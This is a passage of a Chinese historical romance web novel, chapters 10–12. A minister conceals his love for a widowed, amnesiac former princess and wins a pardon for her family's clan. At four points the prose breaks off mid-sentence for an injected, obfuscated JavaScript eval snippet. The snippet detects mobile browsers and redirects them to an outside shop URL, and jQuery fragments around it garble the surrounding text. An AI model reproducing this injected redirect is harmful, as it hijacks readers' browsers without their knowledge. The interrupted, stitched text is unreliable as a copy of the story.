白天她的簪子的确是不小心松动掉落了,只不过当时,南荛就有所察觉,她故意不捡,夜里才能借着这个由头出来四处探寻一下相府。 想来,以裴淩的机敏,也不信她找簪子的借口。 南荛攥着灯柄的手指发紧,掌心渗汗。 她蓦地扬睫,直直望向他,黑白分明的眼瞳被灯火晕出一片碎光,好似蒙了层暖雾,显得懵懂无辜,“大人所说,民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136961|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女不清楚。民女势单力薄,又能怎么威胁得到大人?民女只知……自己所做一切皆为段家案,大人昨日既然答应了民女,如今这般诘问,是突然怀疑民女、想要出尔反尔了吗?” 好个倒打一耙。 这梅林雪地间盈盈而立的女子,披散的乌发遮住雪白的脸颊,只露出尖削的下巴,俨然一副不堪风力摧折的娇柔之态。 可她绝非风力可摧。 她没有一丝畏惧,比身后的寒梅还显得铮铮铁骨、傲雪凌霜。 “说的好。”他喜怒不明道。 南荛闻言,睫羽倏然颤了颤,更是不明白他的意思了。 其实她没摸清他性情,说这一番话,心里也不确定。 南荛鼓起勇气悄悄抬眼,也不知是不是因为光线太暗,她似乎隐隐约约看到……裴淩笑了一下? 她眼花了吗? 还是他被气傻了? 她瞪大眼睛,愈发探究地望着他,若说方才她还觉得自己正在被严肃诘问,此刻反而从对方身上察觉出了几分好整以暇、漫不经心的意味。 鬼使神差的。 她大着胆子,将手中的灯笼往上提了提。 暖光骤然照亮一双湛黑的眼。 那双凤眸狭长而锋锐,近乎带着蜇人眼的漂亮,猝不及防被暴露在光下,竟让她有一瞬间晃了下眼。 裴淩怔了怔,眉宇间的冷色在灯火映照下荡然无存,唇角反倒残留着尚未消弭的笑意。 他极快地别开脸,神情再度隐回在黑暗中。 “……做什么。”他眉头蹙起,喉结滚了滚,语态克制。 声音却莫名显得低哑。 她飞快地收灯后退,低眸,显得仿佛比他还紧张,“民女只是想知道您生没生气。” 现在确定了。 他根本就没有生气,只是在假装严肃。 南荛后知后觉地意识到方才的举动多么唐突,也不知怎么的,她突然就敢这样乱来。 她大脑灵活地转了转,决定奉承两句,给他一个台阶下,“都说宰相肚里能撑船,大人又是重情重义之人,一定不会和民女计较。” “重情重义?” 裴淩听到她话里带着这突兀的词,皱眉转过身来。 她径直望向他的眼睛,曼声念道:“葛生蒙棘,蔹蔓于域,予美亡此,谁与独息。丞相如此思念尊夫人,怎么不算重情重义呢?” 10.第 10 章 南荛还记得那句悼亡诗。 她也清楚地记得,当看到那句诗时,她心底被勾起了怎样复杂的情绪。 予美亡此,谁与独息? 这像是一个深情之人为早逝的配偶所写。 全诗流传于民间,南荛记得这句诗后面有句“夏之日,冬之夜。百岁之后,归于其居[1]。” 自你离去,冬来夏往皆寂寥,只待百年后相逢于碧落黄泉。 一瞬间,南荛联想到了阿浔。 夫妻五年,朝夕相伴,早已情根深种、至死不渝,他们曾发誓要白头偕老,到头来,却天人永隔。 活着的人除了伤心,什么都做不了。 南荛心细如发,即便她从前不了解裴淩的私事,但从他如今年岁、白日那些“闲置的女子衣物”、以及这句诗结合起来推测,就能猜到裴淩有位亡妻。 此刻已是子时,正常人早该就寝,即使不睡,也没人会在寒冬腊月里到处乱跑。 她却能在这里碰见他。 可见这位亡妻,在他心中所占份量极重。 南荛想过许多,却万万没有想到,看似身居高位、毫无软肋的裴丞相,在这方面竟会与她同病相怜。 一时之间,她百感交集,又抬头望着他道:“民女此前也没想到,大人竟也是长情之人。” 裴淩:“……” 裴淩的下颌不自觉绷紧,有那么一瞬间,他晦暗的眼底深处,因她的话而掀起巨浪。 他下意识想脱口而出什么。 却生生忍住。 眼前的女子,睁大着一双明亮清澈的眼眸,睫羽覆满莹白的雪,依然仰面望着他,两靥捎带着清淡笑意。 她生得本就美,莞尔微笑时愈显明艳动人。 裴淩只看她一眼,便别过脸。 袖中手攥得死紧,不知过了多久,才淡淡“嗯”了一声。 “民女不是有意揭您伤疤……”她又小声补救。 “无妨。” 裴淩闭了闭目,克制地吸入一口冷气。 神智也终于清醒了些。 他负手而立,睁开双眸,注视着眼前这片梅林。 “她生前喜欢梅花,此处便是为她所建。”他淡声开口:“这五年来,我每想她一次,便会在此地种一棵梅树。” 一日复一日下来,便成了这片梅林。 他眼睑低垂,似是哀伤。 他生有一双极锋利冷凝的眼睛,双眼皮细窄,眼尾上挑,笑时温柔可掬,不笑时冷峭如刀。 当他做出这副罕见的哀伤神色时,浓密的睫毛低低垂着,竟让人感受到几分说不上来落寞可怜。 裴淩杀过无数人,骗人之于杀人,还要易如反掌。可笑的是到今日,面对心爱之人竟不知如何吐露心迹。 还要用这样拙劣的谎言掩饰。 少时满腔信任,历历在目。 那个肯让她全身心托付信任之人,也早就不再是他了。 裴淩从混乱的情绪里抽离,勉强拢拢袖子,作为掩饰。 “节哀。” 身后传来她柔软的嗓音。 裴淩抬眼。 南荛缓步绕到他跟前,抬眼注视着他的眼睛,认真地安慰道:“不要难过,我想,尊夫人在天之灵,也会希望大人好好活下去的。” 不会的。 裴淩清晰地知道,她不会。 她自小,就是说一不二的秉性。 幼年时,她总是像个花枝招展的小孔雀,每次出现不是蹦蹦跳跳,便是昂首阔步。 怎么会有女孩子像她这样顽皮恣意?仗着有帝后的宠爱,从不像贵女们那样温婉柔顺,也从不做针线女红。 裴淩少时,虽聪颖擅辨、圆融机敏,然而少年看似风姿隽美的外表下,本性却是个孤僻而自负的人。 不喜曲意逢迎,不喜算计人心。 更不喜与蠢货厮混。 他冷眼瞧那追着自己身后、嚷着他名字的小公主,只觉得她是被宠坏了。 身为天潢贵胄,不知民间疾苦。 而他乡野出身,自幼便活得艰难,尝尽人间疾苦、世态炎凉。 直到有一次,裴淩遭到了围堵。 为首者当面嘲笑贬低他,说他出身低贱,连同他刚过世的母亲一起辱骂,裴淩隐忍地攥拳立在原地,一言不发。 少年一半的侧脸浸在阳光下,眼睫微微低垂,眼神却森冷如冰。 他深知,要忍常人之不能忍,才可走这条路青云路。 谁知就在那时,一块小石头擦着少年的面颊飞过去。 极精准的、“砰”的一声,砸在为首之人的脑袋上。 对方捂着额头恼怒道:“是谁?谁砸的?!给我滚出来!” “是本宫砸的,又怎样?”小公主在宫人的簇拥下走了出来,叉着腰大声道:“你说谁是没娘的孩子?” 一干人面面相觑,见是这位小麻烦精,都开始心生犹豫,为首那人却冷哼道:“我说的是裴淩,萧令璋,你可别对号入座。” 萧令璋瞧他一眼,便对身后的侍女道:“明仪!帮本宫狠狠地揍他!” 小公主身后,名唤谢明仪的少女利落地撸起袖子。 谢明仪打小便个子高挑,能文善武,四处帮着华阳公主打了不少架,若说宗室子弟们有八分怕萧令璋,那便会有五分怕谢明仪,私底下还骂谢明仪是萧令璋的走狗。 可他们都打不过谢明仪。 最终,两个小女娘硬是把那伙人揍得鼻青脸肿,狠狠地出了口恶气。 她像个得胜归来的小将军,蹦蹦跳跳地朝裴淩走过来。 少年一动不动地站在那儿。 日头阳光刺眼,树影投落的阴翳覆在他深黑的眼瞳上,教人看不清少年眼底的冰冷戾气。 她罕见地没有纠缠他,而是把随身的手帕递给他。 “给。” 少年没有接,别过脸,“多谢殿下,臣不需要。” 她笑着,一点也不恼,用手揉揉眼睛,不知是在对自己说,还是对他说:“不要难过。” “我和你一样,也没有阿母了。” 阖宫上下皆知,皇后是五日前薨逝的。 就连一贯花枝招展的小公主,那日也穿着身素色白裙。 少年不禁回头。 目光下移,看向她的指尖。 寒冬腊月的,少女养尊处优的手指已经生出了冻疮。 因为她跪在佛堂里,日夜不休地抄写了很多很多的经文,却依然没有救回她的母后。 撇开身份的云泥之别,此时此刻的他们是一样的,即便是公主之尊,面临至亲逝世也无能为力。 她却还是强忍泪水,安慰他“不要难过”。 “母后临终前,嘱咐我不要难过,要好好地活下去。” “我一定要好好地活着,活得比谁都好,让母后在天上看着我平安长大。” “裴大人,你的阿母,一定也是这样期望的。” …… “裴大人?” 南荛在唤他。 更深露重,夜间的北风倏然刮得凛冽起来,卷起满地落英。 裴淩站在湿冷透骨的风中,眼瞳里清晰的倒映出女子温软秀致的眉眼,一缕暖光在她的面庞上跳动,暖得就像冬日里的骄阳。 他骤然闭了闭目。 无人能看见,他眼底流露出的萧索寂寥。 就在此时,耳边又传来强行压抑的咳嗽声。 南荛仅仅只是多吹了会儿风,又忍不住一手扶着树干,一手捂着胸口,费力地咳喘起来。 裴淩面色微变,连忙脱下身上的鹤氅,披在她身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149897|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她却不料他突然这样靠近,惊吓地抬头,挣扎着想脱下他的衣物。 却被他紧紧按住肩头。 “别动。” 耳边的声音压抑。 南荛失声道:“大人,这样不妥……” 她已嫁人,就算夫君已逝,但怎么可以和他这样肢体接触…… 裴淩眼底暗沉,克制地绷紧下颌。 他此刻也不想贸然碰她,可她咳成这样,比他想的还要虚弱,不过是披一件衣物罢了,她就这么害怕他的靠近吗? 他按着她没有松手,强行把鹤氅往她身上裹紧了,才缓缓松手。 看着她坐立不安的模样,勉强朝她故作冷漠地强调了一句: “莫要多想,本官只是怕你着凉。” 南荛望着男人冷凝淡漠的眉眼,不携带半分旖旎的心思,好像只是她自己反应过度。 她手指死死攥着鹤氅,强迫自己别多想,勉强道:“……多谢大人。” “嗯。” 裴淩方才已吓到她,此刻不便再多吐露一个字。 严詹说,她已经变得不怕苦,喝药时不再需要饴糖。 但裴淩却开始惧怕苦涩。 他在渴望那颗可治愈他的“饴糖”,明明就在眼前,却不知道该怎么触碰,才不会惊吓到她。 他眼底情绪无声暗涌,忽然产生了一种冲动。 想不顾一切地告诉她真相。 就算她不信、抗拒、想逃离,心里只想着别人,觉得他疯了,那都没关系。 至少他可以,光明正大地把她拥入怀中。 - 就在他们说话的这片刻功夫,有人往这里来了,是个武将打扮、身材魁梧的年轻男子,对方甫一过来,嘴里虽喊着“丞相”,一双眼睛却直勾勾望向南荛。 南荛被他盯得十分莫名。 裴淩不动声色抬手拍向狄钺,狄钺身子一瞬间绷紧,尴尬地挠着头,收回视线。 “娘子先回去罢,明日天亮了,我让人帮你寻簪子。”裴淩开口道。 “多谢大人。” 南荛早就如坐针毡,见他有事要忙,毫不耽搁地福了福身子离开。 狄钺目不转睛地盯着她的背影看,还在怔怔出神。 裴淩淡声道:“这回看清了?满意了?” 严詹到底没瞒过狄钺,让他刨根究底地知道了南荛的存在。 先前裴淩下令瞒着狄钺,是怕他得知公主身在廷尉狱后,激动之下鲁莽坏事,如今她人已经安全,便由得他知晓。 狄钺怔怔低喃:“她真的是……” “怎么?你不认得?” 狄钺挠了挠头,红着脸低头说:“下官当年……也没有仔细瞧过公主的脸。” 想做羽林郎何其不易,他努力了许久才得以入选,心底虽敬仰华阳公主,却从来不敢和任何人说,也从未抬头直视过公主,连公主的脸都未曾看清。 只记得她很高贵,背影很美。 后来,公主亡故,狄钺惋惜难过了许久,偷偷去城外祭拜。 当今天下,人人皆趋炎附势,那些昔日巴结公主的人,在她死后都转而投了他人,唯有这小小将领,始终铭记着点滴之恩。 裴淩微贱之时,曾被狄钺父亲狄昆救过性命,后来他身居高位,便数次向狄昆提及报恩之事。 狄昆那时断了腿,仕途之路被生生扼杀,却道:“身居高位,未必见得是好事,若君侯[2]有心,不妨照顾我这莽撞幼子,以防他日后在朝中捅出大篓子,丢了性命。” 裴淩便把狄钺带在身边,时常关照他。 “丞相,明日可以让下官给公主送簪子吗?”狄钺犹豫着说,“下官只是……还觉得在做梦……” 裴淩道:“你若是去,便注意分寸,莫吓到她。” 狄钺重重点头。 11.第 11 章 翌日天刚亮,狄钺就把南荛丢失的簪子送过来了。 他大半宿没睡,辰时未到便按捺不住地跑过去,却忘了南荛身子弱要多睡,并不会早起。 绿盈在屋外头拦住他,“娘子眼下还没起,将军把簪子给奴婢,奴婢回头交给娘子就好。” 狄钺却捏着簪子,支支吾吾肯不给。 绿盈用怪异的眼神打量着他,好好一个男人,怎么还扭扭捏捏的? 她没好气道:“将军到底是来做什么的?” 狄钺是想再见公主一面,以确定自己真没做梦。 簪子就这么交出去,他岂不是白跑一趟。 他不好意思说,摸着脑袋道:“我、我等会儿再来吧……”说完一溜烟地跑没了影儿。 到了戌时,狄钺又来了。 南荛仍旧未起。 午时,狄钺第三次偷偷摸摸过来,这回连门都不好意思敲了,趴在墙头悄悄问绿盈:“那个,我……” 绿盈已经懒得搭理他了,不等他说完便拉开门,示意他进去。 狄钺大喜,直接从墙头翻进了院子。 谁知这一跳,刚落地就对上一双明丽的眼睛。 寒冬腊月时节,能遇着个无雪亦无风的日子便极好,这日,午时的日光穿透厚厚的云层,极为暖和。 南荛正坐在院子里,边晒着太阳边喝药。 见狄钺捏着簪子站在那儿手足无措,她毫不介意,反而朝他莞尔笑笑,嗓音柔婉,“多谢将军跑这一趟,敢问将军如何称呼?” 狄钺受宠若惊,拱手道:“鄙人狄钺。” “狄将军是丞相部曲?” “这个……”其实不算,狄钺是羽林郎中,虽与裴相亲近,却供职宫中,但这话一说,好像显得他过来是别有所图,便含糊道:“算、算是吧……” 南荛也不细究,每个人都有自己的秘密,没有必要刨根问底。 她示意绿盈收下簪子。 “此处备了热茶,狄将军可要坐下来,喝几口茶暖暖身子?”见对方还迟迟不走,她又适时开口,递下台阶。 狄钺嘿嘿傻笑着,不好意思地挠挠脑袋,心想:真好,公主现在可真善良温柔。当下飞快地答应下来。 - 廷尉审出投毒之人时,已是三日后。 王徹顶着上头压力,连着几日昼夜不休地审犯人,犯人疯没疯他不知道,他只觉得自己再审下去快疯了,一出结果便马不蹄停地派人去丞相府,顺道换了身官服进宫。 谁知刚进宫面圣,恰好看太傅杨晋、尚书令陈之趙等人都在。 王徹心里“咯噔”一声。 他刚觉头大,身后便传来一道冰冷的嗓音。 “看来臣又来得巧了,正好也来听听这桩案子。” 一道峻拔的身影,不紧不慢地从外头进来。 殿外刮进的风卷起深色广袖,其身影凛冽挺拔,端的冷峻透骨。 裴丞相也来了。 其身后,紧跟着此番负责杂治诏狱的长史严詹、御史中丞孔巍。 当今天子萧文惔头戴冕旒,端坐于上方。这位登基五年的帝王只有二十五岁,正是施展韬略治理江山的年纪,奈何他并非先帝的皇子,而是宗室之子,登基之初根基并不深厚。 加之相权过重,太皇太后一族仍为心头之患,边关动荡,朝堂不宁,开春后恐又起战事,届时军饷吃紧,派何人出征都是个难题。 连日来,皇帝心底已堆满愁绪。 今日段氏案刚有进展,裴丞相便来得这么快,皇帝欲言又止,最终只道:“给裴相赐座。” 内侍搬上软席,裴淩对帝王施礼后,拂袖坐下,含笑看向对面的太傅杨晋,“太傅这几日进宫倒是勤勉。” 杨晋说:“我进不进宫,干丞相何事?未免管的太宽。” 裴淩说:“太傅进宫与否,当然不关我事,不过,我今日要说的事倒与太傅干系颇大。” 他话到最后,咬字已透了一股杀伐冷意。王徹意会,忙不迭将手中奏章递给一侧中常侍吕之贺,由对方转呈给皇帝。 皇帝仔细扫去,看了许久都未开口,杨晋见他们如此直接,坐了半晌还是按捺不住,起身开口道:“陛下!单凭这些调查并无法佐证段纮清白,臣先前便言明,所谓‘击登闻鼓的女子’身份未明,且死的蹊跷,岂知不是有心人自导自演……” 他话未说完,便被裴淩冷声截断,“杨太傅看也未看,怎知这奏章内容是什么?” 杨晋无言,皇帝已闭了闭双眸,将手中奏章阖上递给吕常侍,“给太傅看看。” 杨晋接过一看,惊觉这奏章内容不过是廷尉这一年来所断刑狱之年末总汇,并不涉及任何段氏案,面色变了又变。 他抬头,又对上裴淩几分戏谑嘲弄的目光。 裴淩五官生得极好看,眼睛尤为肖似他早逝的母亲,眼尾上挑,时而含情蛊人,时而冷峭如刀,整张脸半分不像生父。 杨晋看着他那张令人生厌的脸,攥着奏章的手气得发抖。 原来,裴淩早料到杨晋禁不住诈,便事先叮嘱王徹先上呈无关奏折,如此一来,杨晋的举动便会让皇帝生疑。 杨晋抬头失声唤道:“陛下……” 皇帝沉声道:“不必说了,王徹,把段氏案的奏章呈上来。” 王徹:“是。” 皇帝极快地扫过,面色逐渐凝重起来,几人神色各异,皆不敢言语,殿中安静得掉一根针都听得见。 片刻后,皇帝的声音才慢慢响起:“此事,裴卿怎么想?” 皇帝不发表自己的意见,也并未直言奏折里写了什么,只问裴淩怎么看,显然,他笃定裴淩提前看过奏折。 段家案,本无人抱希望,就连昔日重用段纮的皇帝也不得已放弃皇后一族。 是裴淩临时命王徹提出来的。 到底是留个转圜余地,还是撕破脸,皆看用什么态度处理。 “证据确凿,自然依法办案,还无罪的人清白。”裴淩淡淡说着,顿了顿,含笑看向杨晋,“不过,臣觉得太傅方才所言也不无道理,那死去的女子虽有信物证实身份,但信物可作假可偷窃,焉知不是被人冒用身份。太傅以为呢?” 他一会儿一个态度,杨晋原以为他今日是要同自己撕破脸了,如今又似有各退一步之意。 原先,他们未私下通气,但段纮一死,大家都该心照不宣各取所需,谁知这裴淩临时不知着了什么邪,猝不及防来了这么一手,反将他自己摘得清白,锅全叫他们背了去。 竖子不足与谋。 杨晋面色铁青,心中恼恨。 御前不可失态,杨晋强忍着怒火抬手拜道:“老臣……与丞相想法一致。那证人已死,而今死无对证,但便是疑罪,也该从无。” 皇帝闭了闭目,“吕之贺,你去走一趟,把皇后印玺送回。” …… 裴淩与杨晋关系本就不好,自殿中出来后,也未曾多交谈一句,杨晋冷哼一声拂袖而去,俨然一副对他憎恶至极的模样。 裴淩眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162885|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼盯着他的背影,“这么多年过去,还是这脾气。” 严詹道:“自陛下登位,杨晋虽荣登太傅之位,手里却没了实权。杨氏一族这几年势力渐弱,指着女儿做皇后给家族翻身,您坏了他的事,难免气恼。” “我没杀他全族泄愤,已是手下留情。” 裴淩冷笑了声。 裴淩行走朝堂内外,甚少情绪外露,行事风格诡谲,令人捉摸不透。唯独他与太傅不睦之事,举朝皆知。 但其中原因,至今无人知晓。 因大将军段纮亡故,皇帝近日已将处理政事场所从北宫搬到了南宫[1],黄门令、中黄门冗从仆等宿卫省内,虎贲、羽林郎则持戟宿卫南宫外。 狄钺值守在白玉长阶下,看着尚书台众人在殿门进进出出,下发诏令,正百无聊赖,远远瞥见看到裴相出来,连忙打起精神上前问道:“事情可还顺利?” 严詹笑道:“有丞相在,哪回还办不成事?” “太好了。”狄钺松了口气道:“要是公主知道这件事,一定会很高兴。” 裴淩正在前头走,听到此句,脚步微顿。 严詹唯恐丞相不快,眼疾手快地拍了下狄钺后脑勺。 狄钺吃痛地捂住脑袋,“干什么?!” 严詹恨他是个傻子,“你小子到底会不会说话!” 丞相是答应公主还段家清白,但那是为了留住公主、取得公主信任,无奈之下的举动,不代表丞相喜欢看公主满心满眼都是段家的样子,他真是哪壶不开提哪壶! 裴淩已停下脚步,转身问狄钺:“她这几日怎么样?” 年底裴淩政事繁忙,抽不开身,便让狄钺代为去看南荛,每日都务必哄她开心。 其实不必裴淩吩咐,狄钺也愿意陪公主消磨时间。 公主失忆后,性情变得温柔细心、善解人意,每每猜到他要来,都会提前为他备好热茶,让他暖暖身子。 狄钺为了让她对陌生的洛阳城不那么排斥,常常同她分享外面有趣好玩的事。 “问仙居的美人与美酒堪称天下一绝!还有来客楼的酥饼特别好吃!如今洛水结冰,我前几日还从里面捞了好大几条鱼出来,炖了好大一锅鱼汤,可惜我兴冲冲地端给裴丞相,他却不吃,回头给你尝尝!” 每回狄钺说话,她都含笑听着,时不时回应几句。 除了这些无关紧要的,狄钺还在她跟前反复提丞相的好话,什么行事公允、体恤下属,还要强调一番丞相对亡妻用情至深,边说边观察公主的神色。 虽然她在听,但他却能感觉到……她对丞相的事并不感兴趣。 狄钺很是挫败。 眼下,被丞相问起,他也只是含糊道:“还好吧……公主每日都很安静。” 裴淩垂睫,目光落在狄钺衣摆的绣纹上。 “谁缝的?” 这个啊。 狄钺伸手拨了拨衣摆,嘿嘿傻笑,“昨日不小心被树枝割破了,殿下帮我缝的。” 他话音刚落,裴淩的脸色便骤然冷了下来,一言不发,拂袖而去。 严詹在后头恨铁不成钢道:“你脑子让驴给踢了?还让殿下屈尊降贵给你缝衣服?!以后破了自己缝!” 狄钺:“……” 连着挨了两轮骂的狄钺满脸无辜,心道这是公主看到后主动提的啊,他当时也说不必缝补,但殿下却说,这只是举手之劳,也是为了答谢他每日来陪她解闷,让狄钺不必放在心上。 不就缝个衣服吗?这又怎么了? 12.第 12 章 段氏案的结果,是第二日午后出来的。 当时,南荛正坐在屋子里喝药,忽然听到外头传来喧闹的说话声。 是狄钺和绿盈的声音。 发生了什么,怎么如此吵闹? 南荛放下药碗,起身推门,就看到绿盈兴高采烈地朝她奔来。 “娘子!好消息!段家案有进展了!娘子的心愿终于了结了!” 南荛怔了怔。 她不确定地抬眸,目光落在不远处。 狄钺正站在庭院里,手里拿着明黄色的圣旨。 他大步流星地朝她走过来,双手捧着圣旨,递给她,“娘子瞧瞧吧,这是丞相命我送来的。” 南荛几乎是手忙脚乱地打开了圣旨。 冷冬的风让她指尖冰凉,她手抖得厉害,却能感受到四肢的血液异常滚烫,倒涌入心脏,引起心脏砰砰跳动。 目光急遽从圣旨上掠过。 “奉天承运皇帝,诏曰……边贼负固,朕命大司马大将军段纮征伐,攘平内外,未料将军为国捐躯,另有宵小之辈传其谋逆,物议沸腾……兹用布告天下,昭示四夷,明其忠烈……赦段氏全族亲眷,至于战败另加论处……” 赦段氏全族亲眷。 布告天下,明其忠烈。 南荛久久地看着手中诏书,猛地将其捂在胸口,用力闭了闭眼睛。 “太好了……”她轻声喃喃着,终于含泪露出了一抹笑容,“真是太好了……” 来洛阳之前,她心中并不抱希望,更是做好了白白送死的准备。 可这件事竟然真的实现了。 她心底唯一放不下的事,终于达成了。 这些日子以来,她为诉冤之事时刻紧绷,日日夜夜提心吊胆,不敢有一丝松懈,怕自己熬不住死掉,也怕来不及去救人。 当心愿骤然实现之时,全身紧绷的那根弦好似骤然崩断,身体里勉强撑着的那股力气骤然泄了出去。 她身子晃了晃,猛地伸手,死死扶住门框。 “娘子?”绿盈急忙搀住她的胳膊,担忧地唤。 南荛摇头,“我没事。” 她泪盈于睫,不知在哭还是在笑。 “我只是很高兴。” 只是很高兴……而已。 绿盈记得医官叮嘱过,南荛身子弱,情绪波动不宜太大,怕她又因此事忍不住哭,便用胳膊肘撞了撞身边的狄钺,让狄钺想想办法。 谁知这个没眼力见的武夫还嗓门极大地问:“绿盈,你撞我干什么?” “……” 绿盈气结,又不便直说,只能朝他使着眼色。 谁知狄钺还是不懂她的意思,绿盈气得跺脚,“你什么时候能聪明点儿?” 狄钺一头雾水,“我怎么不聪明了?” “你就是不聪明!你是个大傻子!” “你!”狄钺脾气再好,此刻也有些羞耻恼怒起来,“绿盈,你再这样我可就生气了。” 他堂堂羽林郎中,怎么算是个小将军,本犯不着和绿盈这区区小丫鬟计较,谁知她一点面子都不给,让他在公主跟前丢脸。 狄钺装模作样地压低声音,故作严肃,本以为绿盈会怕他,谁知绿盈拿准了南荛在,他不敢怎么样,还有恃无恐地朝他做鬼脸道:“你就是傻子,大傻子。” “你给我站住!” 狄钺作势上前要抓她,绿盈飞快地扭着身子躲闪,提着裙摆飞快地跑到了院子里,狄钺正要追过去,谁知绿盈忽然蹲下身来抓起一团雪搓成圆球,朝他身上扔去,狄钺来不及躲,被她兜头砸个正着。 “你……” 他才吐出一个字,又是两三个雪球劈头盖脸地砸了过来。 狄钺满头是雪,好不狼狈。 他怒极反笑,“好啊,绿盈,你反了天了!我今天不教训教训你,我就不叫狄钺!” 说罢,他也咬牙切齿地搓起一团雪球,也扔向了绿盈。 二人便这样打闹了起来。 混乱中,也不知谁的雪球不小心扔偏了,正好砸到南荛身上。 两人都吓了一跳,同时停下动作。 南荛本怔怔抱着圣旨出神,不料被雪砸中,抬头时见他二人都齐刷刷看着自己,不禁怔了怔。 在他们担忧的目光中,她笑着起身,走到庭院里,也蹲下身捧起一团雪,笑盈盈道:“既然如此,那我也不客气了。” 说罢,她把手里的雪球扔出去,也一起加入了追逐打闹。 雪还在下,朔风卷着鹅毛般的雪花,纷纷扬扬坠下,不断将天地间洗刷得干净皎洁。 裴淩处理完政务过来时,看到的便是这样一幕。 雪地里的三个人,玩得正热闹。 时不时有轻快的笑声传来,南荛奔跑在雪地里,眸子明亮有神,时不时灵活地偏头,躲开雪球的袭击。 裴淩的目光不自觉落在她身上,深晦的眼底骤然翻涌出波澜,不自觉竟看得出神。 就在此时,一团雪忽然朝他的方向扔了过来。 严詹快速说了声“小心!”然而晚了一步,裴淩恰好被砸中了肩膀。 是南荛砸的。 她远远看见裴淩站在院子门口,吓了一跳,急忙飞奔过去,唤道:“裴大人!” 裴淩垂眸看了眼肩上碎雪。 他素来厌恶下雪天。 但第一次,他竟有些舍不得掸去鹤氅上的雪。 他抬眼,看见她已喘着气停在自己三步之外,有些紧张担忧地望着他。 “大人你……没事吧?” “我没事。”裴淩朝她颔首,淡淡笑了笑,“玩得这么开心,看来狄钺已经都告诉你了。” “嗯!” 她用力点头,转而露出明灿的笑容,“我没想到,会这么快……” 她还以为,要等很久很久。 纵使裴淩答应过她,她也不敢完全把希望寄托在他身上。她会害怕,越是怀揣希望,到头来就只剩失望。 她站在他面前,因刚刚打闹过,此刻还微微喘息着,虽说面颊沾雪,一双乌黑的眼眸却好似被雪洗过,澄澈剔透。 雪白的毛领衬得脸颊微微泛红,气色也愈发显得红润。 裴淩心底倏然泛起一阵柔软,看着她发间满是雪,担心雪化了她会着凉,不禁伸手想帮她拂去。 南荛察觉到他的动作,下意识偏头避开。 气氛倏然僵滞了一下。 绿盈眼尖地看到这一幕,连忙小跑过来,“娘子,你头上都是雪,奴婢帮您拍拍。” 南荛配合地低头,方便绿盈帮她拍去发间的雪。 裴淩静立在一侧,无声攥紧袖中手。 他目光下移,微微落在她低头时不经意露出的一段雪白后颈上。 空气很安静。 谁也没有开口说话。 待绿盈替她整理好,南荛才慢慢抬起头。 “裴大人……” “嗯?” “谢谢你。” 裴淩不禁偏头看她。 南荛这话说的突兀,却是发自真心的。 倘若没有他在击鼓那日出手,她早就活不到今日。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174461|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 更不敢奢求,还能为段家沉冤昭雪。 她想,自己病体沉疴,力量微薄,对抗这朝堂漩涡本就是天真之人的妄念,无力蚍蜉撼树,可无论眼前人在朝堂中是怎样的角色,至少一事归一事,他让她再也无憾了。 她抿唇笑着,仰起头,认真道:“从前,是民女误会大人了,以为大人身居高位,会为了一己之私欺骗民女,如今终于确定,大人是重诺之人。单就此事上,民女无论如何都该向大人道谢。” 说完,她还想向他敛衽一礼。 手臂却被托住。 她有些错愕。 托住她的那只手,骨节分明,皮肤之下青筋绷起,显得漂亮而有力。 她还记得初见他时,就是这双手伸到她跟前,冷漠而无情向她索要剪刀。 但现在,对方却是用手肘托住她的,指尖没有碰到她丝毫。 像是怕再度惊扰到她。 “你已经谢过了。”男人的声音清冷而克制。 她却无声挣开他的手,直挺挺拜下去,动作较之先前在廷尉狱里,还要显得郑重万分。 她低声说:“除此之外,还要谢大人收留之恩,只是民女身份低微,大人身居高位,恐怕今生都无力偿还此恩,若有来生……” “不必你还。” 她的话再度被打断。 南荛还想说什么,抬眼却看见对方站在雪里,始终垂着眼睑,侧脸几乎与身后的雪景融为一体。 他眸底情绪翻涌,声音又不自觉柔和下来,“起来吧。” “嗯。” 严詹站在边上,含笑看着他们和睦相处的情形,心下颇为感慨。 